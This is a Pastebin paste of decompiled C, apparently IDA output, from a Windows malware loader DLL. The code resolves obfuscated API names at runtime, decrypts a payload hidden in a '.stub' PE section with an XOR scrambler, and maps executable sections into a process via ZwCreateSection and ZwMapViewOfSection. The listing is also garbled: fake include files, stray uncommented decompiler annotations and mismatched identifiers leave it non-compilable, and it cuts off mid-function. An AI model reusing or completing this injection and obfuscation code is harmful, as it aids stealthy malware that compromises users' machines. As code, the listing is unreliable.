SqLasticSoftware

Bunu hangi kafayla yazmışım bilmiyorum.

Sep 21st, 2016
183
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 31.59 KB | None | 0 0
  1. #include <sqlastic2.sh>
  2. #include <seversinxd.dll>
  3. #include <lowload.sys>
  4. extern int dword_10001A90[8];
  5. extern char *off_10001AB2;
  6. extern char byte_10001AB9[3];
  7. extern char byte_10001B87;
  8. typedef struct {
  9.     HMODULE Handle_NtdllDll;
  10.     DWORD field_4;
  11.     int (__stdcall *proc_lstrcmpiW)(LPCTSTR lpString1, LPCTSTR lpString2);
  12.     SIZE_T (__stdcall *proc_VirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
  13.     BOOL (__stdcall *proc_VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
  14.     FARPROC (__stdcall *proc_GetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
  15.     LPVOID (__stdcall *proc_MapViewOfFile)(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap);
  16.     BOOL (__stdcall *proc_UnmapViewOfFile)(LPCVOID lpBaseAddress);
  17.     BOOL (__stdcall *proc_FlushInstructionCache)(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize);
  18.     HMODULE (__stdcall *proc_LoadLibraryW)(LPCTSTR lpFileName);
  19.     BOOL (__stdcall *proc_FreeLibrary)(HMODULE hModule);
  20.     NTSTATUS (__stdcall *proc_ZwCreateSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, DWORD ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
  21.     NTSTATUS (__stdcall *proc_ZwMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
  22.     HANDLE (__stdcall *proc_CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
  23.     DWORD (__stdcall *proc_WaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
  24.     BOOL (__stdcall *proc_GetExitCodeThread)(HANDLE hThread, LPDWORD lpExitCode);
  25.     NTSTATUS (__stdcall *proc_ZwClose)(HANDLE Handle);
  26. } obfuscatedImports;
  27.  
  28. extern obfuscatedImports Imports;
  29.  
  30. obfuscated strings
  31. see Scramble_Bytes and Scramble_Words
  32. obfb - ascii (byte)
  33. obfw - unicode (word)
  34. extern BYTE obfb_Kernel32dll_aslr[48];
  35. extern BYTE obfb_lstrcmpiW[20];
  36. extern BYTE obfb_VirtualQuery[28];
  37. extern BYTE obfb_VirtualProtect[32];
  38. extern BYTE obfb_GetProcAddress[32];
  39. extern BYTE obfb_MapViewOfFile[28];
  40. extern BYTE obfb_UnmapViewOfFile[32];
  41. extern BYTE obfb_FlushInstructionCache[44];
  42. extern BYTE obfb_LoadLibraryW[28];
  43. extern BYTE obfb_FreeLibrary[24];
  44. extern BYTE obfb_ZwCreateSection[32];
  45. extern BYTE obfb_ZwMapViewOfSection[40];
  46. extern BYTE obfb_CreateThread[28];
  47. extern BYTE obfb_WaitForSingleObject[40];
  48. extern BYTE obfb_GetExitCodeThread[36];
  49. extern BYTE obfb_ZwClose[16];
  50. extern BYTE obfb_CreateRemoteThread[40];
  51. extern BYTE obfb_NtCreateThreadEx[36];
  52. extern BYTE obfw_kernel32_dll[28];
  53. extern BYTE obfw_ntdll_dll[20];
  54.  
  55. extern char String2[]; // idb
  56. extern int dword_10004000;
  57. extern int dword_10004010;
  58. extern _DWORD dword_10004014; // idb
  59. extern _UNKNOWN unk_10004018;
  60. extern int dword_1000401C;
  61. BOOL __stdcall DllUnregisterServerEx(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
  62. HRESULT __stdcall DllCanUnloadNow();
  63. HRESULT __stdcall DllGetClassObject(const IID *const rclsid, const IID *const riid, LPVOID *ppv);
  64. signed int __cdecl DllRegisterServerEx();
  65. signed int __stdcall CPlApplet(int a1);
  66. BOOL __stdcall DllGetClassObjectEx(int a1, int a2, int a3, int a4);
  67. signed int __cdecl sub_1000109B();
  68. static void Scramble_ByteSequence(byte *buffer, unsigned int Key);
  69. void __usercall Scramble_ByteSequence<eax>(byte *buffer<ecx>, unsigned int Key<edi>)
  70. signed int __cdecl sub_10001161(int a1, int a2);
  71. BOOL __cdecl sub_100011EE();
  72. signed int __cdecl GetNeededProcAddresses();
  73. signed int __cdecl CreateSectionAndView(HANDLE ProcessHandle, ULONG_PTR a2, PHANDLE SectionHandle, PVOID *BaseAddress0, PVOID *BaseAddress1);
  74. int __cdecl sub_10001456(void **a1, int a2, int a3, int a4, const void *a5, unsigned int a6);
  75. int __cdecl sub_100014A4(int, LPCWSTR lpString2); // idb
  76. int __cdecl sub_10001559(int a1, const void *a2, const void *a3, unsigned int a4, int a5, const void *a6, unsigned int a7, int a8);
  77. signed int __cdecl sub_100016A5(int a1, int a2, const void *a3);
  78. unsigned int __cdecl sub_100017BE();
  79. signed int (__cdecl *__cdecl sub_100017CD())(int);
  80. unsigned int __cdecl sub_100017D7();
  81. unsigned int __cdecl sub_100017E6();
  82. int __cdecl sub_100017F5(int a1, int a2, int a3, int a4);
  83. int __cdecl sub_10001969(LPCWSTR lpString2, const void *a2, unsigned int a3, int a4);
  84. void __fastcall sub_10001DAF(int a1, int a2);
  85. obfuscatedImports * __cdecl GetHandleToNtdll();
  86. int __usercall sub_10001E44<eax>(int a1<eax>, int a2<edx>, int a3<ecx>);
  87. void __cdecl Scramble_Bytes(BYTE * input, char * output);
  88. void __cdecl Scramble_Words(WORD * input, wchar_t * output);
  89. HMODULE __cdecl AcquireHandleToNtdll();
  90. FARPROC __cdecl GetScrambledProcAddress(WORD * Module, BYTE * Proc);
  91. void __cdecl memcpy_wrapper_1(void *Dst, const void *Src, unsigned int Size);
  92. FARPROC __cdecl GetScrambledProcAddressFromKernel32(BYTE * Proc);
  93. FARPROC __cdecl GetScrambledProcAddressFromNtdll(BYTE * Proc);
  94. signed int __cdecl sub_10002060(int a1);
  95. int __stdcall sub_100021FE(int a1);
  96. int __cdecl sub_10002271(int a1, int a2, int a3);
  97. signed int __stdcall sub_10002334(int a1);
  98. void __cdecl memcpy_wrapper_2(void *a1, const void *a2, unsigned int a3);
  99. int __cdecl sub_100024A7(const void *a1, int a2, void *a3);
  100. signed int __cdecl sub_10002529(int a1, int a2);
  101. signed int __cdecl sub_100025C7(int a1, int a2, const void *a3, int a4);
  102. void __cdecl sub_100026A8();
  103. void __stdcall ExitProcess(UINT uExitCode);
  104. BOOL __stdcall FreeLibrary(HMODULE hLibModule);
  105. HMODULE __stdcall GetModuleHandleW(LPCWSTR lpModuleName);
  106. BOOL __stdcall GetVersionExW(LPOSVERSIONINFOW lpVersionInformation);
  107. int __stdcall lstrcmpiA(LPCSTR lpString1, LPCSTR lpString2);
  108. FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
  109. BOOL __stdcall DeleteFileA(LPCSTR lpFileName);
  110. BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
  111. HANDLE __stdcall GetCurrentProcess();
  112. DWORD __stdcall GetCurrentThreadId();
  113. DWORD __stdcall GetTickCount();
  114. LPWSTR __stdcall lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2);
  115. int __stdcall lstrlenW(LPCWSTR lpString);
  116. int wsprintfW(LPWSTR, LPCWSTR, ...);
  117. BOOL __stdcall DllUnregisterServerEx(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
  118. {
  119.     if ( fdwReason )
  120.     {
  121.         if ( fdwReason == 1 )
  122.         {
  123.             dword_1000401C = (int)hinstDLL;
  124.             sub_100011EE();
  125.         }
  126.     }
  127.     return 0;
  128. }
  129. 1000401C: using guessed type int dword_1000401C;
  130. HRESULT __stdcall DllCanUnloadNow()
  131. {
  132.     dword_1000401C = (int)GetModuleHandleW(0);
  133.     sub_100011EE();
  134.     ExitProcess(0);
  135. }
  136.  1000401C: using guessed type int dword_1000401C;
  137. HRESULT __stdcall DllGetClassObject(const IID *const rclsid, const IID *const riid, LPVOID *ppv)
  138. {
  139.     return sub_100011EE();
  140. }
  141.  1000105B: inconsistent function type and number of purged bytes
  142.  
  143.  
  144. signed int __cdecl DllRegisterServerEx()
  145. {
  146.     sub_100011EE();
  147.     return 1;
  148. }
  149.  
  150.  
  151. signed int __stdcall CPlApplet(int a1)
  152. {
  153.     if ( *(_DWORD *)(a1 + 8) )
  154.         DeleteFileA(*(LPCSTR *)(a1 + 8));
  155.     sub_100011EE();
  156.     return 1;
  157. }
  158.  
  159.  
  160. BOOL __stdcall DllGetClassObjectEx(int a1, int a2, int a3, int a4)
  161. {
  162.     return sub_100011EE();
  163. }
  164.  
  165.  
  166. signed int __cdecl sub_1000109B()
  167. {
  168.     signed int result; // eax@1
  169.     int v1; // esi@2
  170.     FARPROC v2; // eax@3
  171.     int v3; // [sp+0h] [bp-Ch]@1
  172.     int v4; // [sp+4h] [bp-8h]@1
  173.     HMODULE hLibModule; // [sp+8h] [bp-4h]@2
  174.  
  175.     result = sub_10001161((int)&v4, (int)&v3);
  176.     if ( result )
  177.     {
  178.         v1 = v4;
  179.         Scramble_ByteSequence(v4 + *(_DWORD *)v4, *(_DWORD *)(v4 + 4));
  180.         result = sub_10001969(0, (const void *)(v1 + *(_DWORD *)v1), *(_DWORD *)(v1 + 4), (int)&hLibModule);
  181.         if ( !result )
  182.         {
  183.             v2 = GetProcAddress(hLibModule, (LPCSTR)0xF);
  184.             if ( v2 )
  185.                 ((void (__cdecl *)(int, int))v2)(v1, v3);
  186.             result = FreeLibrary(hLibModule);
  187.         }
  188.     }
  189.     return result;
  190. }
  191.  
  192.  
  193. void __usercall Scramble_ByteSequence<eax>(byte *buffer<ecx>, unsigned int Key<edi>)
  194. {
  195.     unsigned int v2; // edx@2
  196.     unsigned int v3; // eax@4
  197.     unsigned int v4; // eax@6
  198.     signed int v6; // [sp+8h] [bp-8h]@1
  199.     unsigned int v7; // [sp+Ch] [bp-4h]@1
  200.  
  201.     v7 = key >> 1;
  202.     v6 = 4;
  203.     do
  204.     {
  205.         v2 = 0;
  206.         if ( key )
  207.         {
  208.             do
  209.             {
  210.                 buffer[v2] ^= 0x96 * (_BYTE)v2;
  211.                 ++v2;
  212.             }
  213.             while ( v2 < key );
  214.         }
  215.         v3 = 0;
  216.         if ( v7 )
  217.         {
  218.             do
  219.             {
  220.             buffer[v3] ^= *(&buffer[(key + 1) >> 1] + v3);
  221.                 ++v3;
  222.             }
  223.             while ( v3 < v7 );
  224.         }
  225.         for ( v4 = key - 1; v4 >= 1; --v4 )
  226.             buffer[v4] -= buffer[v4 - 1];
  227.     }
  228.     while ( v6-- - 1 >= 0 );
  229. }
  230.  
  231.  
  232. signed int __cdecl sub_10001161(int a1, int a2)
  233. {
  234.     signed int result; // eax@2
  235.     int v3; // esi@3
  236.     signed int v4; // ebx@5
  237.     int v5; // edi@5
  238.     unsigned int v6; // ecx@10
  239.     int v7; // eax@11
  240.  
  241.     if ( *(_WORD *)dword_1000401C == 23117 )
  242.     {
  243.         v3 = dword_1000401C + *(_DWORD *)(dword_1000401C + 60);
  244.         if ( *(_DWORD *)v3 == 17744 )
  245.         {
  246.             v5 = *(_WORD *)(v3 + 20) + v3 + 24;
  247.             v4 = 0;
  248.             if ( *(_WORD *)(v3 + 6) <= 0u )
  249.                 goto LABEL_8;
  250.             while ( lstrcmpiA((LPCSTR)v5, ".stub") )
  251.             {
  252.                 ++v4;
  253.                 v5 += 40;
  254.                 if ( v4 >= *(_WORD *)(v3 + 6) )
  255.                     goto LABEL_8;
  256.             }
  257.             v6 = *(_DWORD *)(v5 + 8);
  258.             if ( v6 < 0x22C || (v7 = dword_1000401C + *(_DWORD *)(v5 + 12), *(_DWORD *)v7 != -1371991539) )
  259.             {
  260. LABEL_8:
  261.                 result = 0;
  262.             }
  263.             else
  264.             {
  265.                 *(_DWORD *)a1 = v7 + 4;
  266.                 *(_DWORD *)a2 = v6 - 4;
  267.                 result = 1;
  268.             }
  269.         }
  270.         else
  271.         {
  272.             result = 0;
  273.         }
  274.     }
  275.     else
  276.     {
  277.         result = 0;
  278.     }
  279.     return result;
  280. }
  281. 1000401C: using guessed type int dword_1000401C;
  282.  
  283.  
  284. BOOL __cdecl sub_100011EE()
  285. {
  286.     BOOL result;  eax@1
  287.     struct _OSVERSIONINFOW VersionInformation;  [sp+0h] [bp-114h]@1
  288.  
  289.     VersionInformation.dwOSVersionInfoSize = 276;
  290.     result = GetVersionExW(&VersionInformation);
  291.     if ( result )
  292.     {
  293.         if ( VersionInformation.dwPlatformId == 2 )
  294.         {
  295.             if ( VersionInformation.dwMajorVersion >= 5 || VersionInformation.dwMajorVersion <= 6 )
  296.                 result = sub_1000109B();
  297.         }
  298.     }
  299.     return result;
  300. }
  301.  
  302. signed int __cdecl GetNeededProcAddresses()
  303. {
  304.     DWORD flOldProtect;  [sp+0h] [bp-4h]@1
  305.  
  306.     if ( VirtualProtect(&Imports, sizeof(Imports), PAGE_EXECUTE_WRITECOPY, &flOldProtect)
  307.         || VirtualProtect(&Imports, sizeof(Imports), PAGE_EXECUTE_READWRITE, &flOldProtect) )
  308.     {
  309.     Imports.Handle_NtdllDll = GetModuleHandleToNtdll();
  310.     Imports.proc_lstrcmpiW = (int (__stdcall *)(LPCTSTR, LPCTSTR))GetProcAddressInKernel32(obfb_lstrcmpiW);
  311.     Imports.proc_VirtualQuery = (SIZE_T (__stdcall *)(LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T))GetProcAddressInKernel32(obfb_VirtualQuery);
  312.     Imports.proc_VirtualProtect = (BOOL (__stdcall *)(LPVOID, SIZE_T, DWORD, PDWORD))GetProcAddressInKernel32(obfb_VirtualProtect);
  313.     Imports.proc_GetProcAddress = (FARPROC (__stdcall *)(HMODULE, LPCSTR))GetProcAddressInKernel32(obfb_GetProcAddress);
  314.     Imports.proc_MapViewOfFile = (LPVOID (__stdcall *)(HANDLE, DWORD, DWORD, DWORD, SIZE_T))GetProcAddressInKernel32(obfb_MapViewOfFile);
  315.     Imports.proc_UnmapViewOfFile = (BOOL (__stdcall *)(LPCVOID))GetProcAddressInKernel32(obfb_UnmapViewOfFile);
  316.     Imports.proc_FlushInstructionCache = (BOOL (__stdcall *)(HANDLE, LPCVOID, SIZE_T))GetProcAddressInKernel32(obfb_FlushInstructionCache);
  317.     Imports.proc_LoadLibraryW = (HMODULE (__stdcall *)(LPCTSTR))GetProcAddressInKernel32(obfb_LoadLibraryW);
  318.     Imports.proc_FreeLibrary = (BOOL (__stdcall *)(HMODULE))GetProcAddressInKernel32(obfb_FreeLibrary);
  319.     Imports.proc_ZwCreateSection = (NTSTATUS (__stdcall *)(PHANDLE, ACCESS_MASK, DWORD, PLARGE_INTEGER, ULONG, ULONG, HANDLE))GetProcAddressInNtdll(obfb_ZwCreateSection);
  320.     Imports.proc_ZwMapViewOfSection = (NTSTATUS (__stdcall *)(HANDLE, HANDLE, PVOID *, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG))GetProcAddressInNtdll(obfb_ZwMapViewOfSection);
  321.     Imports.proc_CreateThread = (HANDLE (__stdcall *)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))GetProcAddressInKernel32(obfb_CreateThread);
  322.     Imports.proc_WaitForSingleObject = (DWORD (__stdcall *)(HANDLE, DWORD))GetProcAddressInKernel32(obfb_WaitForSingleObject);
  323.     Imports.proc_GetExitCodeThread = (BOOL (__stdcall *)(HANDLE, LPDWORD))GetProcAddressInKernel32(obfb_GetExitCodeThread);
  324.     Imports.proc_ZwClose = (NTSTATUS (__stdcall *)(HANDLE))GetProcAddressInNtdll(obfb_ZwClose);
  325.         return 1;
  326.     }
  327.     return 0;
  328. }
  329.  
  330.  
  331. signed int __cdecl CreateSectionAndView(HANDLE ProcessHandle, ULONG_PTR a2, PHANDLE SectionHandle, PVOID *BaseAddress0, PVOID *BaseAddress1)
  332. {
  333.   signed int result;  eax@2
  334.   HANDLE v6;  eax@3
  335.   ULONG_PTR ViewSize;  [sp+0h] [bp-10h]@1
  336.   NTSTATUS v8;  [sp+4h] [bp-Ch]@3
  337.   LARGE_INTEGER MaximumSize;  [sp+8h] [bp-8h]@1
  338.  
  339.   ViewSize = a2;
  340.   MaximumSize = (LARGE_INTEGER)a2;
  341.   if ( Imports.proc_ZwCreateSection(
  342.          SectionHandle,
  343.          SECTION_EXTEND_SIZE|SECTION_MAP_EXECUTE|SECTION_MAP_READ|SECTION_MAP_WRITE|SECTION_QUERY|0xF0000,
  344.          0,
  345.          &MaximumSize,
  346.          0x40u,
  347.          0x8000000u,
  348.          0) )
  349.   {
  350.     result = -5;
  351.   }
  352.   else
  353.   {
  354.     v6 = GetCurrentProcess();
  355.     v8 = Imports.proc_ZwMapViewOfSection(*SectionHandle, v6, BaseAddress0, 0, 0, 0, &ViewSize, 1u, 0, 0x40u);
  356.     if ( v8 )
  357.     {
  358.       result = -5;
  359.     }
  360.     else
  361.     {
  362.       v8 = Imports.proc_ZwMapViewOfSection(
  363.              *SectionHandle,
  364.              ProcessHandle,
  365.              BaseAddress1,
  366.              0,
  367.              0,
  368.              0,
  369.              &ViewSize,
  370.              1u,
  371.              0,
  372.              0x40u);
  373.       if ( v8 )
  374.         result = -5;
  375.       else
  376.         result = 0;
  377.     }
  378.   }
  379.   return result;
  380. }
  381. int __cdecl sub_10001456(void **a1, int a2, int a3, int a4, const void *a5, unsigned int a6)
  382. {
  383.     int result;  eax@3
  384.  
  385.     if ( a6 )
  386.         memcpy_wrapper_1(*a1, a5, a6);
  387.     *(_DWORD *)a4 = *(_DWORD *)a3 + a2;
  388.     *(_DWORD *)(a4 + 4) = a6;
  389.     *a1 = (char *)*a1 + a6;
  390.     result = a6 + *(_DWORD *)a3;
  391.     *(_DWORD *)a3 = result;
  392.     return result;
  393. }
  394.  
  395. signed int __cdecl sub_100014A4(int a1, LPCWSTR lpString2)
  396. {
  397.     DWORD v3;  esi@5
  398.     wchar_t Unscrambled[42];
  399.     DWORD v5;  [sp+5Ch] [bp-4h]@5
  400.  
  401.     if ( lpString2 )
  402.     {
  403.         if ( lstrlenW(lpString2) >= 31 )
  404.             return -1;
  405.         lstrcpyW((LPWSTR)(a1 + 16), lpString2);
  406.     }
  407.     else
  408.     {
  409.         v3 = GetTickCount();
  410.         v5 = 3 * GetCurrentThreadId() + v3;
  411.         Scramble_Words(obfb_Kernel32dll_aslr, Unscrambled);
  412.         do
  413.         wsprintfW((LPWSTR)(a1 + 16), Unscrambled, v5++);
  414.         while ( GetModuleHandleW((LPCWSTR)(a1 + 16)) );
  415.     }
  416.     *(_DWORD *)a1 = a1 ^ 0xAE1979DD;
  417.     *(_DWORD *)(a1 + 4) = 0;
  418.     *(_DWORD *)(a1 + 12) = sub_10002334;
  419.     return 0;
  420. }
  421. int __cdecl sub_10001559(int a1, const void *a2, const void *a3, unsigned int a4, int a5, const void *a6, unsigned int a7, int a8)
  422. {
  423.     int result;  eax@2
  424.     int v9;  [sp+4h] [bp-28h]@1
  425.     int v10;  [sp+8h] [bp-24h]@3
  426.     int v11;  [sp+Ch] [bp-20h]@6
  427.     int v12;  [sp+10h] [bp-1Ch]@1
  428.     int v13;  [sp+14h] [bp-18h]@1
  429.     int v14;  [sp+18h] [bp-14h]@3
  430.     unsigned int v15;  [sp+1Ch] [bp-10h]@1
  431.     int v16;  [sp+20h] [bp-Ch]@1
  432.     int v17;  [sp+24h] [bp-8h]@3
  433.     int v18;  [sp+28h] [bp-4h]@1
  434.  
  435.     v13 = 0;
  436.     v16 = 0;
  437.     v12 = 0;
  438.     v15 = a4 + a7 + 152;
  439.     v18 = CreateSectionAndView(a1, a4 + a7 + 152, (PHANDLE)&v9, (PVOID)&v13, (PVOID)&v16);
  440.     if ( v18 )
  441.     {
  442.         result = v18;
  443.     }
  444.     else
  445.     {
  446.         v17 = v13;
  447.         v13 += 152;
  448.         v12 = 152;
  449.         sub_10001456((void **)&v13, v16, (int)&v12, v17 + 132, a6, a7);
  450.         v10 = v13;
  451.         sub_10001456((void **)&v13, v16, (int)&v12, v17 + 140, a3, a4);
  452.         v14 = v10;
  453.         if ( a4 >= 0x1000 )
  454.         {
  455.             if ( *(_WORD *)v14 == 23117 )
  456.             {
  457.                 if ( *(_DWORD *)(v14 + 60) + 248 < a4 )
  458.                 {
  459.                     v11 = *(_DWORD *)(v14 + 60) + v10;
  460.                     if ( *(_DWORD *)(v11 + 204) == 72 )
  461.                         *(_DWORD *)(v11 + 204) = 64;
  462.                 }
  463.             }
  464.         }
  465.         memcpy_wrapper_1((void *)v17, a2, 0x80u);
  466.         *(_DWORD *)(v17 + 148) = a5;
  467.         *(_DWORD *)(v17 + 128) = 0;
  468.         *(_DWORD *)a8 = v16;
  469.         Imports.proc_UnmapViewOfFile(v17);
  470.         Imports.proc_ZwClose(v9);
  471.         result = 0;
  472.     }
  473.     return result;
  474. }
  475. signed int __cdecl sub_100016A5(int a1, int a2, const void *a3)
  476. {
  477.     signed int result;  eax@2
  478.     int v4;  [sp+0h] [bp-90h]@5
  479.     int v5;  [sp+4h] [bp-8Ch]@7
  480.     signed int v6;  [sp+8h] [bp-88h]@1
  481.     int v7;  [sp+Ch] [bp-84h]@1
  482.     unsigned int v8;  [sp+10h] [bp-80h]@1
  483.     int v9;  [sp+14h] [bp-7Ch]@1
  484.     int v10;  [sp+18h] [bp-78h]@7
  485.     char v11;  [sp+20h] [bp-70h]@5
  486.  
  487.     memcpy_wrapper_1(&v8, a3, 0x80u);
  488.     v8 = (unsigned int)&v8 ^ 0xAE1979DD;
  489.     v9 = 0;
  490.     v7 = (char *)&dword_10001F1A + *(_DWORD *)(a1 + 8) - byte_10001AB9;
  491.     v6 = sub_100025C7(
  492.         (char *)&dword_10001F1A + *(_DWORD *)(a1 + 8) - byte_10001AB9,
  493.         (int)&v8,
  494.         *(const void **)(a2 + 140),
  495.         *(_DWORD *)(a2 + 144));
  496.     if ( v6 )
  497.     {
  498.         result = v6;
  499.     }
  500.     else
  501.     {
  502.         if ( sub_10002529(a1, v7) )
  503.         {
  504.             result = -4;
  505.         }
  506.         else
  507.         {
  508.             v4 = (*(int (__stdcall **)(char *))(v7 + 36))(&v11);
  509.             if ( v4 )
  510.             {
  511.                 *(_DWORD *)(a2 + 128) = v4;
  512.                 v5 = v10;
  513.                 if ( v10 )
  514.                 {
  515.                     v10 = 0;
  516.                     (*(void (__stdcall **)(int))(v7 + 64))(v5);
  517.                 }
  518.                 result = 0;
  519.             }
  520.             else
  521.             {
  522.                 result = -9;
  523.             }
  524.         }
  525.     }
  526.     return result;
  527. }
  528.  10001F1A: using guessed type int dword_10001F1A;
  529. unsigned int __cdecl sub_100017BE()
  530. {
  531.     return (char *)sub_100026A8 - (char *)(void (__cdecl *)())sub_10002060;
  532. }
  533. signed int (__cdecl *__cdecl sub_100017CD())(int)
  534. {
  535.     return sub_10002060;
  536. }
  537. unsigned int __cdecl sub_100017D7()
  538. {
  539.     return (char *)sub_100021FE - (char *)(int (__stdcall *)(int))sub_10002060;
  540. }
  541.  
  542. unsigned int __cdecl sub_100017E6()
  543. {
  544.     return (char *)sub_10002334 - (char *)(signed int (__stdcall *)(int))sub_10002060;
  545. }
  546. int __cdecl sub_100017F5(int a1, int a2, int a3, int a4)
  547. {
  548.     int result;  eax@2
  549.     unsigned int v5;  ST14_4@3
  550.     signed int (__cdecl *v6)(int);  eax@3
  551.     int v7;  [sp+8h] [bp-28h]@1
  552.     int v8;  [sp+Ch] [bp-24h]@3
  553.     unsigned int v9;  [sp+10h] [bp-20h]@3
  554.     int v10;  [sp+14h] [bp-1Ch]@1
  555.     int v11;  [sp+18h] [bp-18h]@1
  556.     unsigned int v12;  [sp+1Ch] [bp-14h]@1
  557.     int v13;  [sp+20h] [bp-10h]@1
  558.     int v14;  [sp+24h] [bp-Ch]@3
  559.     unsigned int v15;  [sp+28h] [bp-8h]@1
  560.     int v16;  [sp+2Ch] [bp-4h]@1
  561.  
  562.     v11 = 0;
  563.     v13 = 0;
  564.     v15 = sub_100017BE();
  565.     v12 = v15
  566.         + (char *)sub_10001F5E
  567.         - (char *)(int (__cdecl *)(int, int))byte_10001AB9
  568.         + byte_10001AB9
  569.         - (char *)dword_10001A90
  570.         + 36;
  571.     v10 = 0;
  572.     v16 = CreateSectionAndView(
  573.         a1,
  574.         v12,
  575.         (PHANDLE)&v7,
  576.         (PVOID)&v11,
  577.         (PVOID)&v13);
  578.     if ( v16 )
  579.     {
  580.         result = v16;
  581.     }
  582.     else
  583.     {
  584.         v14 = v11;
  585.         v11 += 36;
  586.         v10 = 36;
  587.         sub_10001456(
  588.             (void **)&v11,
  589.             v13,
  590.             (int)&v10,
  591.             v14 + 8,
  592.             byte_10001AB9,
  593.             (char *)sub_10001F5E - (char *)(int (__cdecl *)(int, int))byte_10001AB9);
  594.         v8 = v10;
  595.         sub_10001456((void **)&v11, v13, (int)&v10, v14 + 24, dword_10001A90, byte_10001AB9 - (char *)dword_10001A90);
  596.         v5 = v15;
  597.         v6 = sub_100017CD();
  598.         sub_10001456((void **)&v11, v13, (int)&v10, v14 + 16, v6, v5);
  599.         v9 = (char *)&off_10001AB2 - (char *)dword_10001A90 + v8 + v14;
  600.         *(_DWORD *)((char *)&off_10001AB2 - (char *)dword_10001A90 + v8 + v14) = *(_DWORD *)(v14 + 8)
  601.             + &byte_10001B87
  602.             - byte_10001AB9;
  603.         *(_DWORD *)v14 = *(_DWORD *)(v14 + 16) + sub_100017D7();
  604.         *(_DWORD *)(v14 + 4) = *(_DWORD *)(v14 + 16) + sub_100017E6();
  605.         *(_DWORD *)(v14 + 32) = a2;
  606.         *(_DWORD *)a3 = *(_DWORD *)(v14 + 16);
  607.         *(_DWORD *)a4 = v13;
  608.         Imports.proc_UnmapViewOfFile(v14);
  609.         Imports.proc_ZwClose(v7);
  610.         result = 0;
  611.     }
  612.     return result;
  613. }
  614.  10001A90: using guessed type int dword_10001A90[8];
  615.  10001AB2: using guessed type char *off_10001AB2;
  616.  10001B87: using guessed type char byte_10001B87;
  617.  10001F36: using guessed type int (__stdcall *dword_10001F36)(_DWORD);
  618.  10001F5A: using guessed type int (__stdcall *dword_10001F5A)(_DWORD);
  619. int __cdecl sub_10001969(LPCWSTR lpString2, const void *a2, unsigned int a3, int a4)
  620. {
  621.     int result;  eax@1
  622.     int v5;  eax@6
  623.     int v6;  ST14_4@9
  624.     int v7;  eax@9
  625.     DWORD v8;  [sp-4h] [bp-88h]@1
  626.     int v9;  [sp+0h] [bp-84h]@6
  627.     int v10;  [sp+0h] [bp-84h]@9
  628.     signed int v11;  [sp+0h] [bp-84h]@12
  629.     int v12;  [sp+4h] [bp-80h]@1
  630.  
  631.     result = sub_100014A4((int)&v12, lpString2);
  632.     if ( !result )
  633.     {
  634.         if ( dword_10004000 && !GetNeededProcAddresses() )
  635.             return -12;
  636.         v5 = (int)GetCurrentProcess();
  637.         v9 = sub_10001559(v5, &v12, a2, a3, -1, 0, 0, (int)&dword_10004014);
  638.         if ( v9 )
  639.             return v9;
  640.         if ( dword_10004000 )
  641.         {
  642.             v6 = dword_10004014;
  643.             v7 = (int)GetCurrentProcess();
  644.             v10 = sub_100017F5(v7, v6, (int)&unk_10004018, (int)&dword_10004010);
  645.             if ( v10 )
  646.                 return v10;
  647.             dword_10004000 = 0;
  648.         }
  649.         v11 = sub_100016A5(dword_10004010, dword_10004014, &v12);
  650.         if ( !v11 )
  651.             *(_DWORD *)a4 = *(_DWORD *)(dword_10004014 + 128);
  652.         Imports.proc_UnmapViewOfFile(dword_10004014);
  653.         result = v11;
  654.     }
  655.     return result;
  656. }
  657.  10001F36: using guessed type int (__stdcall *dword_10001F36)(_DWORD);
  658.  10004000: using guessed type int dword_10004000;
  659.  10004010: using guessed type int dword_10004010;
  660. void __fastcall sub_10001DAF(int a1, int a2)
  661. {
  662.     unsigned int v2;  esi@1
  663.     int v3;  edx@1
  664.     int v4;  eax@3
  665.     int *v5;  [sp+4h] [bp-38h]@1
  666.     signed int v6;  [sp+8h] [bp-34h]@1
  667.     int v7;  [sp+Ch] [bp-30h]@1
  668.     int v8;  [sp+18h] [bp-24h]@2
  669.     int v9;  [sp+28h] [bp-14h]@1
  670.     int v10;  [sp+2Ch] [bp-10h]@1
  671.     char v11;  [sp+30h] [bp-Ch]@1
  672.  
  673.     obfuscatedImports * Imports;
  674.  
  675.     v10 = a1;
  676.     v9 = a2;
  677.     v6 = 28;
  678.     v5 = &v7;
  679.     Imports = GetHandleToNtdll();
  680.     Imports->proc_VirtualQuery(&v5, v5, v6);
  681.     v2 = (unsigned int)&v11;
  682.     do
  683.     {
  684.         if ( v2 >= v8 + v7 )
  685.             break;
  686.         v4 = *(_DWORD *)v2;
  687.         v2 += 4;
  688.     }
  689.     while ( (v4 ^ 0xAE1979DD) + 4 != v2 );
  690. }
  691. obfuscatedImports * __cdecl GetHandleToNtdll()
  692. {
